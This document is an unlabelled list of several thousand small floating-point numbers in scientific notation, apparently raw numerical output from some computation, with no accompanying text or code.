7.77592e-08
3.58837e-06
1.30266e-07
3.58576e-06
6.66892e-08
3.58507e-06
5.74513e-08
3.58056e-06
1.2063e-07
3.58025e-06
7.15037e-08
3.5775e-06
1.15631e-07
3.57371e-06
1.58429e-07
3.57729e-06
1.00671e-07
3.58232e-06
1.01337e-07
3.58115e-06
3.49599e-08
3.5726e-06
-1.60445e-07
3.55825e-06
-2.00768e-07
3.55703e-06
-2.3938e-08
3.56443e-06
2.49137e-07
3.5741e-06
3.57655e-07
3.58162e-06
2.45712e-07
3.56859e-06
7.62082e-08
3.56153e-06
-1.11371e-07
3.56165e-06
-1.32355e-08
3.5595e-06
1.4243e-07
3.56867e-06
1.01352e-07
3.56945e-06
1.35784e-07
3.57084e-06
1.07586e-07
3.57307e-06
4.27634e-08
3.57255e-06
1.83867e-09
3.58673e-06
4.77028e-08
3.58518e-06
1.96544e-07
3.57685e-06
9.63543e-08
3.59546e-06
-4.5152e-08
3.60368e-06
2.23367e-07
3.6018e-06
3.92609e-07
3.59676e-06
3.32105e-07
3.58019e-06
1.07729e-07
3.58383e-06
-9.8639e-08
3.61176e-06
-2.91708e-08
3.62125e-06
3.17421e-07
3.59245e-06
4.83406e-07
3.57241e-06
1.69871e-07
3.57441e-06
-9.29142e-08
3.59025e-06
-1.56495e-07
3.60562e-06
-2.25905e-08
3.61952e-06
6.91235e-08
3.6171e-06
2.26393e-07
3.58826e-06
2.85684e-07
3.58261e-06
6.54862e-09
3.59437e-06
-7.6644e-08
6.95854e-08
3.70376e-06
2.96755e-07
3.71847e-06
2.85609e-07
3.7354e-06
2.7438e-07
3.7465e-06
2.46127e-07
3.74947e-06
1.83403e-07
3.74745e-06
1.1713e-07
3.74262e-06
7.20145e-08
3.73915e-06
4.54012e-08
3.7381e-06
3.94317e-08
3.73883e-06
4.35763e-08
3.73957e-06
6.67433e-08
3.73989e-06
8.20049e-08
3.74116e-06
1.02464e-07
3.74228e-06
1.12261e-07
3.74293e-06
1.10728e-07
3.74335e-06
1.12134e-07
3.74234e-06
9.46777e-08
3.74091e-06
8.98824e-08
3.73886e-06
9.94429e-08
3.73946e-06
1.19166e-07
3.74498e-06
1.7794e-07
3.75225e-06
1.99774e-07
3.75954e-06
2.06716e-07
3.76374e-06
1.9532e-07
3.7653e-06
1.51142e-07
3.767e-06
1.5282e-07
3.76895e-06
1.43198e-07
3.76979e-06
1.37874e-07
3.76783e-06
1.5479e-07
3.76406e-06
1.3416e-07
3.75937e-06
1.55093e-07
3.75939e-06
1.80379e-07
3.76281e-06
2.00278e-07
3.76667e-06
2.05353e-07
3.77223e-06
1.84455e-07
3.77657e-06
1.71452e-07
3.77883e-06
1.13317e-07
3.77628e-06
6.29789e-08
3.7712e-06
3.48855e-08
3.76125e-06
3.51024e-08
3.75701e-06
9.34641e-08
3.75957e-06
2.01731e-07
3.76264e-06
2.18265e-07
3.76765e-06
1.89789e-07
3.76867e-06
1.85049e-07
3.76855e-06
1.10552e-07
3.7651e-06
8.2467e-08
3.76312e-06
9.49324e-08
3.76033e-06
7.41499e-08
3.75489e-06
2.6386e-08
3.75312e-06
3.71823e-08
3.75113e-06
7.48195e-08
3.75742e-06
7.14688e-08
3.7601e-06
1.2758e-07
3.75686e-06
6.99332e-08
3.75503e-06
5.92828e-08
3.75133e-06
1.2433e-07
3.7503e-06
7.25379e-08
3.74729e-06
1.18633e-07
3.74432e-06
1.61406e-07
3.74724e-06
9.77436e-08
3.75289e-06
9.56932e-08
3.75378e-06
3.40693e-08
3.7449e-06
-1.51563e-07
3.7275e-06
-1.83367e-07
3.72323e-06
-1.96693e-08
3.72966e-06
2.42702e-07
3.74014e-06
3.4718e-07
3.74992e-06
2.35929e-07
3.73931e-06
8.68193e-08
3.73123e-06
-1.0329e-07
3.73113e-06
-1.3136e-08
3.72994e-06
1.43621e-07
3.73849e-06
9.27996e-08
3.73957e-06
1.34704e-07
3.74184e-06
1.05314e-07
3.7447e-06
3.9905e-08
3.74186e-06
4.68054e-09
3.75477e-06
3.47861e-08
3.75681e-06
1.94506e-07
3.74785e-06
1.05314e-07
3.76135e-06
-5.86487e-08
3.76967e-06
2.15046e-07
3.77225e-06
3.90031e-07
3.77333e-06
3.31021e-07
3.75767e-06
1.23393e-07
3.75411e-06
-9.50759e-08
3.77478e-06
-4.98415e-08
3.78612e-06
3.06082e-07
3.76684e-06
5.02686e-07
3.75049e-06
1.86219e-07
3.74867e-06
-9.10985e-08
3.75812e-06
-1.65945e-07
3.76933e-06
-3.37956e-08
3.78131e-06
5.71365e-08
3.78117e-06
2.26541e-07
3.75864e-06
3.08208e-07
3.75014e-06
1.50506e-08
3.75479e-06
-8.12917e-08
6.70735e-08
3.88191e-06
2.81874e-07
3.89603e-06
2.71489e-07
3.91227e-06
2.5814e-07
3.92371e-06
2.34684e-07
3.92716e-06
1.79949e-07
3.92598e-06
1.18308e-07
3.92185e-06
7.61482e-08
3.91802e-06
4.92369e-08
3.91658e-06
4.08629e-08
3.91714e-06
4.30213e-08
3.91807e-06
6.58155e-08
3.91857e-06
8.14974e-08
3.92005e-06
1.00993e-07
3.92151e-06
1.10793e-07
3.92231e-06
1.09931e-07
3.9229e-06
1.11548e-07
3.92192e-06
9.56493e-08
3.92067e-06
9.11354e-08
3.91924e-06
1.00874e-07
3.92014e-06
1.1827e-07
3.92584e-06
1.72235e-07
3.93297e-06
1.92643e-07
3.94e-06
1.99685e-07
3.94427e-06
1.91052e-07
3.94542e-06
1.49989e-07
3.94662e-06
1.51624e-07
3.94768e-06
1.42142e-07
3.9477e-06
1.3785e-07
3.94575e-06
1.56737e-07
3.9423e-06
1.37619e-07
3.93848e-06
1.58909e-07
3.93895e-06
1.79904e-07
3.94258e-06
1.96647e-07
3.94687e-06
2.01065e-07
3.9527e-06
1.78625e-07
3.95727e-06
1.66886e-07
3.95926e-06
1.11326e-07
3.95578e-06
6.64589e-08
3.95025e-06
4.04171e-08
3.94041e-06
4.494e-08
3.93604e-06
9.78344e-08
3.93912e-06
1.9865e-07
3.9422e-06
2.15183e-07
3.94682e-06
1.85175e-07
3.94774e-06
1.84123e-07
3.94722e-06
1.11074e-07
3.94344e-06
8.62527e-08
3.94162e-06
9.67514e-08
3.93954e-06
7.62226e-08
3.93427e-06
3.16614e-08
3.93304e-06
3.84113e-08
3.93107e-06
7.67871e-08
3.93613e-06
6.64121e-08
3.93964e-06
1.24068e-07
3.93623e-06
7.33402e-08
3.93355e-06
6.19633e-08
3.93063e-06
1.27253e-07
3.92887e-06
7.42939e-08
3.92574e-06
1.21764e-07
3.92357e-06
1.63583e-07
3.92568e-06
9.56348e-08
3.93133e-06
9.00365e-08
3.93345e-06
3.19527e-08
3.92466e-06
-1.42774e-07
3.9063e-06
-1.65009e-07
3.90047e-06
-1.3838e-08
3.9061e-06
2.37069e-07
3.91633e-06
3.36957e-07
3.92654e-06
2.25716e-07
3.91824e-06
9.51159e-08
3.91001e-06
-9.50585e-08
3.9104e-06
-1.3523e-08
3.91063e-06
1.43389e-07
3.91815e-06
8.52838e-08
3.91932e-06
1.33528e-07
3.92181e-06
1.02824e-07
3.92508e-06
3.66344e-08
3.92135e-06
8.41877e-09
3.93262e-06
2.35076e-08
3.93746e-06
1.89674e-07
3.92877e-06
1.14e-07
3.93725e-06
-6.71309e-08
3.94517e-06
2.07131e-07
3.95103e-06
3.84165e-07
3.95663e-06
3.25425e-07
3.943e-06
1.37024e-07
3.93406e-06
-8.61383e-08
3.94674e-06
-6.25168e-08
3.95805e-06
2.9477e-07
3.94749e-06
5.13245e-07
3.93551e-06
1.98196e-07
3.93079e-06
-8.63771e-08
3.93451e-06
-1.69665e-07
3.94146e-06
-4.0746e-08
3.95068e-06
4.79196e-08
3.95182e-06
2.25395e-07
3.93583e-06
3.24204e-07
3.9258e-06
2.50796e-08
3.92426e-06
-7.97564e-08
6.56954e-08
4.06879e-06
2.66858e-07
4.08224e-06
2.58043e-07
4.09781e-06
2.42571e-07
4.10961e-06
2.22881e-07
4.1134e-06
1.76159e-07
4.11281e-06
1.18895e-07
4.10953e-06
7.94371e-08
4.10547e-06
5.32961e-08
4.10353e-06
4.28e-08
4.10389e-06
4.26655e-08
4.10504e-06
6.46582e-08
4.10576e-06
8.07751e-08
4.10753e-06
9.92274e-08
4.10944e-06
1.08887e-07
4.11053e-06
1.08841e-07
4.11128e-06
1.10796e-07
4.11037e-06
9.65573e-08
4.10919e-06
9.23135e-08
4.10812e-06
1.01945e-07
4.10911e-06
1.17276e-07
4.11478e-06
1.66566e-07
4.12175e-06
1.85679e-07
4.12857e-06
1.92867e-07
4.13299e-06
1.86633e-07
4.13395e-06
1.49029e-07
4.13486e-06
1.50705e-07
4.13528e-06
1.41726e-07
4.13476e-06
1.38373e-07
4.133e-06
1.58495e-07
4.12986e-06
1.40761e-07
4.12683e-06
1.61941e-07
4.12754e-06
1.79193e-07
4.1311e-06
1.93084e-07
4.1355e-06
1.96666e-07
4.14126e-06
1.72859e-07
4.14583e-06
1.62321e-07
4.14762e-06
1.09532e-07
4.14372e-06
7.03589e-08
4.138e-06
4.61366e-08
4.12861e-06
5.43344e-08
4.1242e-06
1.02241e-07
4.12751e-06
1.9534e-07
4.13053e-06
2.12163e-07
4.13456e-06
1.81149e-07
4.13537e-06
1.83307e-07
4.1344e-06
1.12049e-07
4.13054e-06
9.01093e-08
4.12889e-06
9.84024e-08
4.12732e-06
7.77973e-08
4.12228e-06
3.6702e-08
4.12139e-06
3.92936e-08
4.11966e-06
7.85163e-08
4.12348e-06
6.25965e-08
4.12749e-06
1.20059e-07
4.12429e-06
7.65384e-08
4.12103e-06
6.52218e-08
4.11872e-06
1.29562e-07
4.11631e-06
7.67091e-08
4.1132e-06
1.2487e-07
4.1118e-06
1.64987e-07
4.11306e-06
9.43746e-08
4.11829e-06
8.48039e-08
4.12091e-06
2.93372e-08
4.11234e-06
-1.34201e-07
4.09434e-06
-1.47016e-07
4.08797e-06
-7.46094e-09
4.09317e-06
2.31867e-07
4.10282e-06
3.27306e-07
4.1123e-06
2.1623e-07
4.10597e-06
1.01455e-07
4.09788e-06
-8.69728e-08
4.09892e-06
-1.4561e-08
4.10081e-06
1.41496e-07
4.10721e-06
7.88832e-08
4.10849e-06
1.32249e-07
4.11071e-06
1.00599e-07
4.11402e-06
3.33288e-08
4.11055e-06
1.18859e-08
4.12007e-06
1.39875e-08
4.12679e-06
1.82959e-07
4.11911e-06
1.21676e-07
4.12302e-06
-7.10412e-08
4.13012e-06
2.00031e-07
4.1383e-06
3.75984e-07
4.14689e-06
3.1684e-07
4.13597e-06
1.47936e-07
4.12352e-06
-7.36854e-08
4.12836e-06
-6.73509e-08
4.13845e-06
2.84677e-07
4.13528e-06
5.16413e-07
4.12765e-06
2.05829e-07
4.12091e-06
-7.96419e-08
4.1199e-06
-1.68653e-07
4.12289e-06
-4.37398e-08
4.12897e-06
4.18442e-08
4.13058e-06
2.23783e-07
4.12044e-06
3.34342e-07
4.11e-06
3.5522e-08
4.10384e-06
-7.35931e-08
6.50436e-08
4.26479e-06
2.51582e-07
4.27755e-06
2.4528e-07
4.2923e-06
2.27818e-07
4.30452e-06
2.10659e-07
4.3087e-06
1.71982e-07
4.3084e-06
1.19201e-07
4.306e-06
8.18315e-08
4.30196e-06
5.73346e-08
4.29942e-06
4.53477e-08
4.29947e-06
4.26086e-08
4.30089e-06
6.32399e-08
4.30181e-06
7.98541e-08
4.30389e-06
9.71511e-08
4.30629e-06
1.06489e-07
4.30781e-06
1.07313e-07
4.30879e-06
1.09822e-07
4.308e-06
9.73474e-08
4.30687e-06
9.34375e-08
4.306e-06
1.02815e-07
4.30696e-06
1.16317e-07
4.31243e-06
1.61101e-07
4.31917e-06
1.78934e-07
4.32577e-06
1.86271e-07
4.33033e-06
1.82073e-07
4.33121e-06
1.48149e-07
4.33199e-06
1.49928e-07
4.33198e-06
1.4173e-07
4.33113e-06
1.39221e-07
4.32972e-06
1.59907e-07
4.32695e-06
1.43528e-07
4.32469e-06
1.64203e-07
4.32558e-06
1.78304e-07
4.32896e-06
1.89702e-07
4.33325e-06
1.92377e-07
4.33865e-06
1.67465e-07
4.34295e-06
1.58012e-07
4.34445e-06
1.08032e-07
4.34044e-06
7.43768e-08
4.33471e-06
5.18629e-08
4.32603e-06
6.3013e-08
4.3218e-06
1.06472e-07
4.32521e-06
1.91931e-07
4.32818e-06
2.09195e-07
4.3315e-06
1.77825e-07
4.33223e-06
1.82579e-07
4.33076e-06
1.13514e-07
4.32695e-06
9.39211e-08
4.32542e-06
9.99298e-08
4.32413e-06
7.90904e-08
4.31937e-06
4.14637e-08
4.31862e-06
4.00431e-08
4.31727e-06
7.98695e-08
4.31993e-06
5.99338e-08
4.32407e-06
1.15921e-07
4.32131e-06
7.92934e-08
4.31774e-06
6.87976e-08
4.31586e-06
1.31437e-07
4.31292e-06
7.96562e-08
4.31e-06
1.27787e-07
4.30936e-06
1.65629e-07
4.30982e-06
9.39057e-08
4.31434e-06
8.02926e-08
4.31689e-06
2.67805e-08
4.3085e-06
-1.25805e-07
4.29155e-06
-1.30067e-07
4.28519e-06
-1.10955e-09
4.29031e-06
2.26756e-07
4.29951e-06
3.18103e-07
4.30777e-06
2.07965e-07
4.30299e-06
1.06241e-07
4.295e-06
-7.89881e-08
4.29645e-06
-1.60035e-08
4.29994e-06
1.38001e-07
4.30535e-06
7.34706e-08
4.3069e-06
1.30703e-07
4.30869e-06
9.88142e-08
4.31166e-06
3.03582e-08
4.30919e-06
1.43505e-08
4.31705e-06
6.12751e-09
4.32484e-06
1.75173e-07
4.31867e-06
1.27843e-07
4.31869e-06
-7.10645e-08
4.32472e-06
1.94001e-07
4.33447e-06
3.66236e-07
4.34476e-06
3.06553e-07
4.33676e-06
1.55933e-07
4.3224e-06
-5.93278e-08
4.32026e-06
-6.52074e-08
4.3286e-06
2.76337e-07
4.33124e-06
5.13773e-07
4.32737e-06
2.09703e-07
4.31938e-06
-7.16511e-08
4.31478e-06
-1.64053e-07
4.31438e-06
-4.3345e-08
4.3174e-06
3.88216e-08
4.31889e-06
2.223e-07
4.31344e-06
3.39788e-07
4.30337e-06
4.55968e-08
4.29423e-06
-6.44543e-08
6.47087e-08
4.4702e-06
2.35815e-07
4.48239e-06
2.33095e-07
4.49606e-06
2.14143e-07
4.50873e-06
1.97987e-07
4.51352e-06
1.67199e-07
4.51324e-06
1.19474e-07
4.51163e-06
8.34469e-08
4.50795e-06
6.10135e-08
4.50481e-06
4.84926e-08
4.50441e-06
4.30078e-08
4.50606e-06
6.15816e-08
4.50717e-06
7.87476e-08
4.50947e-06
9.48553e-08
4.51236e-06
1.03596e-07
4.51443e-06
1.05239e-07
4.51571e-06
1.08545e-07
4.51511e-06
9.79508e-08
4.51409e-06
9.4456e-08
4.51338e-06
1.03525e-07
4.51426e-06
1.15441e-07
4.51941e-06
1.5595e-07
4.52585e-06
1.72488e-07
4.53215e-06
1.79969e-07
4.53675e-06
1.77474e-07
4.53759e-06
1.47316e-07
4.53829e-06
1.49224e-07
4.53805e-06
1.41972e-07
4.53707e-06
1.40201e-07
4.53613e-06
1.60848e-07
4.53383e-06
1.45828e-07
4.53236e-06
1.65677e-07
4.53345e-06
1.77208e-07
4.53664e-06
1.86516e-07
4.54069e-06
1.8833e-07
4.54547e-06
1.62679e-07
4.5493e-06
1.54181e-07
4.55035e-06
1.06989e-07
4.54635e-06
7.83745e-08
4.54074e-06
5.7473e-08
4.53294e-06
7.08144e-08
4.52909e-06
1.10319e-07
4.53255e-06
1.8847e-07
4.53552e-06
2.06227e-07
4.53813e-06
1.75217e-07
4.53882e-06
1.81881e-07
4.53689e-06
1.15449e-07
4.53315e-06
9.76576e-08
4.5317e-06
1.01387e-07
4.53051e-06
8.02804e-08
4.52603e-06
4.5939e-08
4.52521e-06
4.08673e-08
4.52425e-06
8.08301e-08
4.52587e-06
5.83105e-08
4.52978e-06
1.12005e-07
4.52756e-06
8.15145e-08
4.52392e-06
7.24404e-08
4.52237e-06
1.32984e-07
4.51906e-06
8.29646e-08
4.51648e-06
1.30373e-07
4.51659e-06
1.65519e-07
4.51638e-06
9.41165e-08
4.51998e-06
7.66898e-08
4.52207e-06
2.46888e-08
4.51373e-06
-1.17464e-07
4.49807e-06
-1.14405e-07
4.49202e-06
4.94004e-09
4.49726e-06
2.21514e-07
4.5063e-06
3.09064e-07
4.51332e-06
2.00947e-07
4.50974e-06
1.09822e-07
4.50169e-06
-7.09433e-08
4.50309e-06
-1.74012e-08
4.50788e-06
1.33206e-07
4.5125e-06
6.88505e-08
4.51454e-06
1.28669e-07
4.51601e-06
9.73461e-08
4.5184e-06
2.79648e-08
4.51722e-06
1.55337e-08
4.52367e-06
-3.21959e-10
4.53194e-06
1.66896e-07
4.52754e-06
1.32248e-07
4.52447e-06
-6.79958e-08
4.52934e-06
1.89128e-07
4.54012e-06
3.55458e-07
4.55112e-06
2.95553e-07
4.54581e-06
1.61241e-07
4.53077e-06
-4.42878e-08
4.52296e-06
-5.73969e-08
4.5295e-06
2.69796e-07
4.53636e-06
5.06912e-07
4.53536e-06
2.10711e-07
4.52667e-06
-6.29683e-08
4.51959e-06
-1.56974e-07
4.51652e-06
-4.02663e-08
4.51691e-06
3.84266e-08
4.51792e-06
2.21295e-07
4.51586e-06
3.41844e-07
4.50658e-06
5.48787e-08
4.49583e-06
-5.37035e-08
6.43969e-08
4.68525e-06
2.19408e-07
4.69721e-06
2.21136e-07
4.70957e-06
2.01791e-07
4.7225e-06
1.85053e-07
4.7282e-06
1.61499e-07
4.72792e-06
1.19756e-07
4.72682e-06
8.45419e-08
4.72381e-06
6.40312e-08
4.72027e-06
5.20317e-08
4.71926e-06
4.4012e-08
4.72106e-06
5.97835e-08
4.72238e-06
7.74282e-08
4.72473e-06
9.25052e-08
4.72804e-06
1.00289e-07
4.7307e-06
1.02576e-07
4.73235e-06
1.06894e-07
4.732e-06
9.83033e-08
4.73116e-06
9.52899e-08
4.73066e-06
1.04034e-07
4.73148e-06
1.14621e-07
4.73626e-06
1.51167e-07
4.74232e-06
1.66427e-07
4.74824e-06
1.74049e-07
4.75274e-06
1.72971e-07
4.75353e-06
1.46531e-07
4.7542e-06
1.48554e-07
4.75387e-06
1.42294e-07
4.75294e-06
1.41139e-07
4.75256e-06
1.61228e-07
4.75081e-06
1.47571e-07
4.75013e-06
1.6636e-07
4.75148e-06
1.75862e-07
4.75449e-06
1.83504e-07
4.75823e-06
1.84585e-07
4.76227e-06
1.58644e-07
4.76547e-06
1.5098e-07
4.76592e-06
1.0654e-07
4.76197e-06
8.23198e-08
4.75655e-06
6.29008e-08
4.74965e-06
7.77114e-08
4.74631e-06
1.13657e-07
4.7498e-06
1.84981e-07
4.75285e-06
2.03178e-07
4.75483e-06
1.73236e-07
4.75558e-06
1.81127e-07
4.75328e-06
1.17756e-07
4.74962e-06
1.01314e-07
4.74819e-06
1.02816e-07
4.74697e-06
8.14982e-08
4.74274e-06
5.01702e-08
4.74166e-06
4.19523e-08
4.74099e-06
8.14947e-08
4.74169e-06
5.76099e-08
4.74512e-06
1.08584e-07
4.7434e-06
8.32316e-08
4.73991e-06
7.59315e-08
4.73868e-06
1.34214e-07
4.7352e-06
8.64434e-08
4.73304e-06
1.32537e-07
4.73387e-06
1.64679e-07
4.73313e-06
9.48646e-08
4.73573e-06
7.40859e-08
4.73707e-06
2.33526e-08
4.72863e-06
-1.0903e-07
4.71424e-06
-1.00007e-07
4.70861e-06
1.05694e-08
4.71409e-06
2.16029e-07
4.72324e-06
2.99915e-07
4.72923e-06
1.94953e-07
4.72659e-06
1.12466e-07
4.71834e-06
-6.26949e-08
4.71922e-06
-1.82788e-08
4.72488e-06
1.27545e-07
4.72889e-06
6.48371e-08
4.73158e-06
1.25982e-07
4.73305e-06
9.588e-08
4.73481e-06
2.62028e-08
4.73482e-06
1.55181e-08
4.74016e-06
-5.66216e-09
4.74862e-06
1.58437e-07
4.74604e-06
1.3483e-07
4.74067e-06
-6.26302e-08
4.74443e-06
1.85369e-07
4.75585e-06
3.44042e-07
4.76687e-06
2.84532e-07
4.76375e-06
1.6436e-07
4.74885e-06
-2.93879e-08
4.73685e-06
-4.53924e-08
4.74181e-06
2.64829e-07
4.75149e-06
4.97235e-07
4.75242e-06
2.09781e-07
4.74341e-06
-5.39593e-08
4.73479e-06
-1.48356e-07
4.72974e-06
-3.52097e-08
4.72808e-06
4.00793e-08
4.72847e-06
2.20907e-07
4.72863e-06
3.41689e-07
4.72027e-06
6.32351e-08
4.70883e-06
-4.2262e-08
6.39667e-08
4.91009e-06
2.02552e-07
4.92243e-06
2.08793e-07
4.93337e-06
1.90845e-07
4.94618e-06
1.7225e-07
4.95305e-06
1.54631e-07
4.95298e-06
1.19818e-07
4.9521e-06
8.54226e-08
4.94989e-06
6.62397e-08
4.94631e-06
5.56169e-08
4.94464e-06
4.56772e-08
4.94642e-06
5.80117e-08
4.948e-06
7.58456e-08
4.95026e-06
9.02463e-08
4.9538e-06
9.67507e-08
4.95702e-06
9.9354e-08
4.95908e-06
1.04829e-07
4.95902e-06
9.83681e-08
4.95843e-06
9.58802e-08
4.95818e-06
1.04278e-07
4.95901e-06
1.13796e-07
4.96342e-06
1.46752e-07
4.96905e-06
1.60804e-07
4.97453e-06
1.68566e-07
4.97883e-06
1.68669e-07
4.97957e-06
1.45789e-07
4.98025e-06
1.47881e-07
4.97997e-06
1.42568e-07
4.97921e-06
1.41896e-07
4.97942e-06
1.61018e-07
4.97828e-06
1.48711e-07
4.97835e-06
1.66293e-07
4.97997e-06
1.74244e-07
4.98284e-06
1.80637e-07
4.98627e-06
1.81151e-07
4.98952e-06
1.55389e-07
4.99204e-06
1.48466e-07
4.99183e-06
1.0675e-07
4.98791e-06
8.62399e-08
4.98267e-06
6.8138e-08
4.97659e-06
8.37961e-08
4.97377e-06
1.16469e-07
4.97727e-06
1.81485e-07
4.98047e-06
1.99974e-07
4.982e-06
1.7171e-07
4.9829e-06
1.80227e-07
4.98038e-06
1.20281e-07
4.97682e-06
1.04873e-07
4.97539e-06
1.04237e-07
4.97406e-06
8.28317e-08
4.96999e-06
5.42438e-08
4.96849e-06
4.34497e-08
4.96796e-06
8.20296e-08
4.96786e-06
5.77091e-08
4.97063e-06
1.05815e-07
4.9693e-06
8.45546e-08
4.96612e-06
7.91181e-08
4.96526e-06
1.35066e-07
4.9618e-06
8.99044e-08
4.96009e-06
1.34247e-07
4.9616e-06
1.63172e-07
4.96047e-06
9.5997e-08
4.96207e-06
7.2481e-08
4.96246e-06
2.29618e-08
4.95379e-06
-1.00354e-07
4.94048e-06
-8.67033e-08
4.9353e-06
1.57511e-08
4.94107e-06
2.10262e-07
4.95053e-06
2.90458e-07
4.9558e-06
1.8968e-07
4.9539e-06
1.14363e-07
4.94538e-06
-5.41745e-08
4.94536e-06
-1.82526e-08
4.95143e-06
1.21473e-07
4.95499e-06
6.12783e-08
4.95839e-06
1.22579e-07
4.96023e-06
9.40443e-08
4.96149e-06
2.494e-08
4.9624e-06
1.46039e-08
4.96689e-06
-1.01466e-08
4.97543e-06
1.499e-07
4.97462e-06
1.35639e-07
4.96769e-06
-5.57077e-08
4.97046e-06
1.82607e-07
4.98219e-06
3.32304e-07
4.9928e-06
2.73928e-07
4.99127e-06
1.65889e-07
4.977e-06
-1.51201e-08
4.96222e-06
-3.061e-08
4.96592e-06
2.61125e-07
4.97729e-06
4.85869e-07
4.97939e-06
2.07682e-07
4.97026e-06
-4.48285e-08
4.9608e-06
-1.38903e-07
4.95437e-06
-2.87762e-08
4.95124e-06
4.32113e-08
4.95102e-06
2.21123e-07
4.95246e-06
3.40254e-07
4.94497e-06
7.07233e-08
4.93336e-06
-3.06497e-08
6.33962e-08
5.14512e-06
1.85613e-07
5.15834e-06
1.95574e-07
5.16815e-06
1.81037e-07
5.18024e-06
1.60156e-07
5.18835e-06
1.46515e-07
5.18892e-06
1.19253e-07
5.18803e-06
8.63126e-08
5.18662e-06
6.76491e-08
5.18336e-06
5.88801e-08
5.18113e-06
4.78984e-08
5.1827e-06
5.64447e-08
5.18457e-06
7.39813e-08
5.18668e-06
8.81298e-08
5.1902e-06
9.32346e-08
5.19388e-06
9.56774e-08
5.19636e-06
1.02347e-07
5.19659e-06
9.81404e-08
5.19626e-06
9.62067e-08
5.19632e-06
1.04218e-07
5.19721e-06
1.12901e-07
5.20131e-06
1.42659e-07
5.2065e-06
1.55615e-07
5.21156e-06
1.63505e-07
5.21563e-06
1.64595e-07
5.21636e-06
1.45057e-07
5.21708e-06
1.47161e-07
5.21695e-06
1.42704e-07
5.21646e-06
1.42389e-07
5.21722e-06
1.60256e-07
5.21666e-06
1.49266e-07
5.21739e-06
1.65564e-07
5.21927e-06
1.72367e-07
5.22202e-06
1.77886e-07
5.22516e-06
1.78007e-07
5.2277e-06
1.5285e-07
5.22956e-06
1.46611e-07
5.22871e-06
1.07597e-07
5.22477e-06
9.01803e-08
5.21968e-06
7.3225e-08
5.21424e-06
8.92397e-08
5.21188e-06
1.18828e-07
5.21536e-06
1.78007e-07
5.21877e-06
1.96564e-07
5.22004e-06
1.70437e-07
5.22116e-06
1.79103e-07
5.2186e-06
1.22846e-07
5.21518e-06
1.08297e-07
5.21375e-06
1.05661e-07
5.21225e-06
8.4332e-08
5.20823e-06
5.82634e-08
5.20622e-06
4.54626e-08
5.20563e-06
8.26167e-08
5.20486e-06
5.84793e-08
5.20694e-06
1.03736e-07
5.20587e-06
8.56268e-08
5.20305e-06
8.19353e-08
5.20265e-06
1.3547e-07
5.19936e-06
9.31849e-08
5.19809e-06
1.3552e-07
5.20016e-06
1.61102e-07
5.19879e-06
9.73704e-08
5.19948e-06
7.17901e-08
5.19883e-06
2.36066e-08
5.1898e-06
-9.13184e-08
5.17734e-06
-7.42464e-08
5.17256e-06
2.05283e-08
5.17861e-06
2.04222e-07
5.18847e-06
2.8059e-07
5.19332e-06
1.84832e-07
5.19205e-06
1.15638e-07
5.18327e-06
-4.54034e-08
5.18212e-06
-1.71016e-08
5.18821e-06
1.15385e-07
5.19143e-06
5.80551e-08
5.19551e-06
1.18499e-07
5.19803e-06
9.15294e-08
5.19905e-06
2.39142e-08
5.2005e-06
1.31618e-08
5.20427e-06
-1.39244e-08
5.21289e-06
1.41286e-07
5.21375e-06
1.34775e-07
5.20594e-06
-4.7895e-08
5.20787e-06
1.80673e-07
5.21965e-06
3.20524e-07
5.22958e-06
2.64e-07
5.22907e-06
1.66399e-07
5.21569e-06
-1.74067e-09
5.19936e-06
-1.42813e-08
5.20211e-06
2.58382e-07
5.21432e-06
4.73658e-07
5.21704e-06
2.04955e-07
5.20788e-06
-3.56667e-08
5.19806e-06
-1.29083e-07
5.1907e-06
-2.14152e-08
5.18655e-06
4.73608e-08
5.18584e-06
2.2184e-07
5.18788e-06
3.3821e-07
5.1811e-06
7.75004e-08
5.16957e-06
-1.9112e-08
6.27259e-08
5.39089e-06
1.69115e-07
5.40526e-06
1.812e-07
5.41449e-06
1.71808e-07
5.42538e-06
1.49272e-07
5.43454e-06
1.37348e-07
5.43613e-06
1.17668e-07
5.43518e-06
8.72632e-08
5.43446e-06
6.83709e-08
5.43177e-06
6.15646e-08
5.42924e-06
5.04328e-08
5.43049e-06
5.51913e-08
5.4326e-06
7.18692e-08
5.43462e-06
8.61126e-08
5.43789e-06
8.99675e-08
5.44184e-06
9.17249e-08
5.44471e-06
9.94781e-08
5.44521e-06
9.76359e-08
5.44513e-06
9.62904e-08
5.4455e-06
1.0385e-07
5.44651e-06
1.11887e-07
5.45036e-06
1.38808e-07
5.45518e-06
1.508e-07
5.45988e-06
1.58801e-07
5.46376e-06
1.60714e-07
5.46455e-06
1.44267e-07
5.46537e-06
1.46338e-07
5.46543e-06
1.42646e-07
5.46524e-06
1.42585e-07
5.46645e-06
1.5904e-07
5.4664e-06
1.49315e-07
5.46766e-06
1.64302e-07
5.46976e-06
1.70269e-07
5.47242e-06
1.75226e-07
5.47532e-06
1.75108e-07
5.47727e-06
1.50898e-07
5.47856e-06
1.45323e-07
5.47717e-06
1.08989e-07
5.47318e-06
9.41728e-08
5.46818e-06
7.8219e-08
5.46319e-06
9.42356e-08
5.46115e-06
1.20861e-07
5.46457e-06
1.7459e-07
5.46819e-06
1.92945e-07
5.4694e-06
1.69232e-07
5.47079e-06
1.77709e-07
5.46834e-06
1.25295e-07
5.46511e-06
1.11532e-07
5.46368e-06
1.0709e-07
5.46199e-06
8.60153e-08
5.45795e-06
6.23118e-08
5.45538e-06
4.80301e-08
5.45459e-06
8.34091e-08
5.45327e-06
5.97964e-08
5.4547e-06
1.02302e-07
5.45374e-06
8.65894e-08
5.45127e-06
8.44006e-08
5.45134e-06
1.35404e-07
5.44836e-06
9.61684e-08
5.44748e-06
1.364e-07
5.44998e-06
1.58602e-07
5.44848e-06
9.88689e-08
5.44841e-06
7.18637e-08
5.44674e-06
2.52751e-08
5.43728e-06
-8.18594e-08
5.42541e-06
-6.23796e-08
5.42094e-06
2.49971e-08
5.4272e-06
1.97963e-07
5.43749e-06
2.70298e-07
5.44215e-06
1.80177e-07
5.44141e-06
1.16373e-07
5.43249e-06
-3.64843e-08
5.43019e-06
-1.47966e-08
5.43601e-06
1.09569e-07
5.43898e-06
5.50763e-08
5.44363e-06
1.13854e-07
5.447e-06
8.8161e-08
5.44809e-06
2.28222e-08
5.44974e-06
1.15165e-08
5.45286e-06
-1.70463e-08
5.46155e-06
1.32594e-07
5.46394e-06
1.32381e-07
5.45582e-06
-3.97747e-08
5.45715e-06
1.79348e-07
5.46872e-06
3.08948e-07
5.47783e-06
2.54899e-07
5.47785e-06
1.66379e-07
5.46545e-06
1.06539e-08
5.44858e-06
2.5936e-09
5.45063e-06
2.56326e-07
